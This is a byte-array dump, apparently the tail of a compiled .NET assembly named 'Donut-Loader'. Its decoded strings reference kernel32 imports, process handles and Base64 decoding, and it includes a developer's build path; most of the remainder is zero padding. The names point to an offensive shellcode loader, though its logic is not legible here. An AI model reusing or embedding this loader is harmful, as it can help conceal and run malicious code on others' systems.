114, 103, 101, 116, 70, 114, 97, 109, 101, 119, 111, 114, 107, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 0, 65, 115, 115, 101, 109, 98, 108, 121, 84, 105, 116, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 68, 101, 115, 99, 114, 105, 112, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 110, 102, 105, 103, 117, 114, 97, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 109, 112, 97, 110, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 80, 114, 111, 100, 117, 99, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 112, 121, 114, 105, 103, 104, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 84, 114, 97, 100, 101, 109, 97, 114, 107, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 117, 108, 116, 117, 114, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 67, 111, 109, 86, 105, 115, 105, 98, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 86, 101, 114, 115, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 101, 98, 117, 103, 103, 97, 98, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 101, 98, 117, 103, 103, 105, 110, 103, 77, 111, 100, 101, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 67, 111, 109, 112, 105, 108, 101, 114, 83, 101, 114, 118, 105, 99, 101, 115, 0, 67, 111, 109, 112, 105, 108, 97, 116, 105, 111, 110, 82, 101, 108, 97, 120, 97, 116, 105, 111, 110, 115, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 82, 117, 110, 116, 105, 109, 101, 67, 111, 109, 112, 97, 116, 105, 98, 105, 108, 105, 116, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 0, 67, 111, 110, 118, 101, 114, 116, 0, 84, 111, 73, 110, 116, 51, 50, 0, 68, 108, 108, 73, 109, 112, 111, 114, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 107, 101, 114, 110, 101, 108, 51, 50, 46, 100, 108, 108, 0, 107, 101, 114, 110, 101, 108, 51, 50, 0, 71, 101, 116, 80, 114, 111, 99, 101, 115, 115, 66, 121, 73, 100, 0, 103, 101, 116, 95, 73, 100, 0, 67, 111, 110, 115, 111, 108, 101, 0, 87, 114, 105, 116, 101, 76, 105, 110, 101, 0, 70, 114, 111, 109, 66, 97, 115, 101, 54, 52, 83, 116, 114, 105, 110, 103, 0, 73, 110, 116, 80, 116, 114, 0, 90, 101, 114, 111, 0, 103, 101, 116, 95, 72, 97, 110, 100, 108, 101, 0, 46, 99, 99, 116, 111, 114, 0, 71, 101, 116, 67, 117, 114, 114, 101, 110, 116, 80, 114, 111, 99, 101, 115, 115, 0, 0, 0, 0, 1, 0, 0, 53, 180, 151, 58, 106, 46, 12, 74, 148, 130, 6, 14, 180, 48, 63, 230, 0, 8, 183, 122, 92, 86, 25, 52, 224, 137, 2, 6, 8, 4, 2, 0, 0, 0, 4, 0, 4, 0, 0, 4, 8, 0, 0, 0, 4, 32, 0, 0, 0, 4, 16, 0, 0, 0, 2, 6, 9, 4, 0, 16, 0, 0, 4, 0, 32, 0, 0, 4, 4, 0, 0, 0, 4, 64, 0, 0, 0, 2, 6, 14, 5, 0, 1, 1, 29, 14, 6, 0, 3, 24, 8, 2, 8, 4, 0, 1, 24, 14, 5, 0, 2, 24, 24, 14, 8, 0, 5, 24, 24, 24, 9, 9, 9, 10, 0, 5, 2, 24, 24, 29, 5, 9, 16, 25, 10, 0, 7, 24, 24, 24, 9, 24, 24, 9, 24, 6, 0, 3, 8, 14, 14, 8, 6, 0, 2, 2, 24, 16, 2, 5, 0, 1, 2, 18, 9, 3, 32, 0, 1, 4, 32, 1, 1, 14, 4, 32, 1, 1, 2, 5, 32, 1, 1, 17, 65, 4, 32, 1, 1, 8, 4, 0, 1, 8, 14, 3, 7, 1, 2, 5, 0, 1, 18, 9, 8, 3, 32, 0, 8, 4, 0, 1, 1, 8, 5, 0, 1, 29, 5, 14, 2, 6, 24, 12, 7, 8, 18, 9, 14, 29, 5, 24, 24, 25, 8, 2, 3, 32, 0, 24, 4, 7, 2, 2, 2, 3, 0, 0, 1, 4, 0, 0, 18, 9, 55, 1, 0, 26, 46, 78, 69, 84, 70, 114, 97, 109, 101, 119, 111, 114, 107, 44, 86, 101, 114, 115, 105, 111, 110, 61, 118, 52, 46, 53, 1, 0, 84, 14, 20, 70, 114, 97, 109, 101, 119, 111, 114, 107, 68, 105, 115, 112, 108, 97, 121, 78, 97, 109, 101, 0, 17, 1, 0, 12, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 0, 0, 5, 1, 0, 0, 0, 0, 19, 1, 0, 14, 67, 111, 112, 121, 114, 105, 103, 104, 116, 32, 50, 48, 49, 57, 0, 0, 8, 1, 0, 7, 1, 0, 0, 0, 0, 8, 1, 0, 8, 0, 0, 0, 0, 0, 30, 1, 0, 1, 0, 84, 2, 22, 87, 114, 97, 112, 78, 111, 110, 69, 120, 99, 101, 112, 116, 105, 111, 110, 84, 104, 114, 111, 119, 115, 1, 0, 0, 0, 0, 0, 0, 0, 41, 64, 139, 93, 0, 0, 0, 0, 2, 0, 0, 0, 28, 1, 0, 0, 48, 45, 0, 0, 48, 29, 0, 0, 82, 83, 68, 83, 66, 33, 203, 216, 184, 44, 19, 73, 173, 127, 107, 217, 107, 212, 165, 239, 3, 0, 0, 0, 99, 58, 92, 85, 115, 101, 114, 115, 92, 113, 52, 56, 57, 50, 53, 48, 49, 56, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92, 83, 104, 97, 114, 112, 68, 101, 118, 101, 108, 111, 112, 32, 80, 114, 111, 106, 101, 99, 116, 115, 92, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 92, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 92, 111, 98, 106, 92, 68, 101, 98, 117, 103, 92, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 46, 112, 100, 98, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 16, 0, 0, 0, 24, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 48, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 72, 0, 0, 0, 88, 64, 0, 0, 252, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 252, 2, 52, 0, 0, 0, 86, 0, 83, 0, 95, 0, 86, 0, 69, 0, 82, 0, 83, 0, 73, 0, 79, 0, 78, 0, 95, 0, 73, 0, 78, 0, 70, 0, 79, 0, 0, 0, 0, 0, 189, 4, 239, 254, 0, 0, 1, 0, 0, 0, 1, 0, 28, 80, 39, 28, 0, 0, 1, 0, 28, 80, 39, 28, 63, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68, 0, 0, 0, 1, 0, 86, 0, 97, 0, 114, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 0, 0, 36, 0, 4, 0, 0, 0, 84, 0, 114, 0, 97, 0, 110, 0, 115, 0, 108, 0, 97, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 0, 0, 176, 4, 92, 2, 0, 0, 1, 0, 83, 0, 116, 0, 114, 0, 105, 0, 110, 0, 103, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 56, 2, 0, 0, 1, 0, 48, 0, 48, 0, 48, 0, 48, 0, 48, 0, 52, 0, 98, 0, 48, 0, 0, 0, 68, 0, 13, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 68, 0, 101, 0, 115, 0, 99, 0, 114, 0, 105, 0, 112, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 68, 0, 111, 0, 110, 0, 117, 0, 116, 0, 45, 0, 76, 0, 111, 0, 97, 0, 100, 0, 101, 0, 114, 0, 0, 0, 0, 0, 64, 0, 15, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 50, 0, 48, 0, 55, 0, 46, 0, 50, 0, 48, 0, 53, 0, 48, 0, 56, 0, 0, 0, 0, 0, 68, 0, 17, 0, 1, 0, 73, 0, 110, 0, 116, 0, 101, 0, 114, 0, 110, 0, 97, 0, 108, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 68, 0, 111, 0, 110, 0, 117, 0, 116, 0, 45, 0, 76, 0, 111, 0, 97, 0, 100, 0, 101, 0, 114, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 0, 0, 68, 0, 15, 0, 1, 0, 76, 0, 101, 0, 103, 0, 97, 0, 108, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0, 116, 0, 0, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0, 116, 0, 32, 0, 50, 0, 48, 0, 49, 0, 57, 0, 0, 0, 0, 0, 76, 0, 17, 0, 1, 0, 79, 0, 114, 0, 105, 0, 103, 0, 105, 0, 110, 0, 97, 0, 108, 0, 70, 0, 105, 0, 108, 0, 101, 0, 110, 0, 97, 0, 109, 0, 101, 0, 0, 0, 68, 0, 111, 0, 110, 0, 117, 0, 116, 0, 45, 0, 76, 0, 111, 0, 97, 0, 100, 0, 101, 0, 114, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 0, 0, 60, 0, 13, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 0, 0, 68, 0, 111, 0, 110, 0, 117, 0, 116, 0, 45, 0, 76, 0, 111, 0, 97, 0, 100, 0, 101, 0, 114, 0, 0, 0, 0, 0, 68, 0, 15, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 50, 0, 48, 0, 55, 0, 46, 0, 50, 0, 48, 0, 53, 0, 48, 0, 56, 0, 0, 0, 0, 0, 72, 0, 15, 0, 1, 0, 65, 0, 115, 0, 115, 0, 101, 0, 109, 0, 98, 0, 108, 0, 121, 0, 32, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 50, 0, 48, 0, 55, 0, 46, 0, 50, 0, 48, 0, 53, 0, 48, 0, 56, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 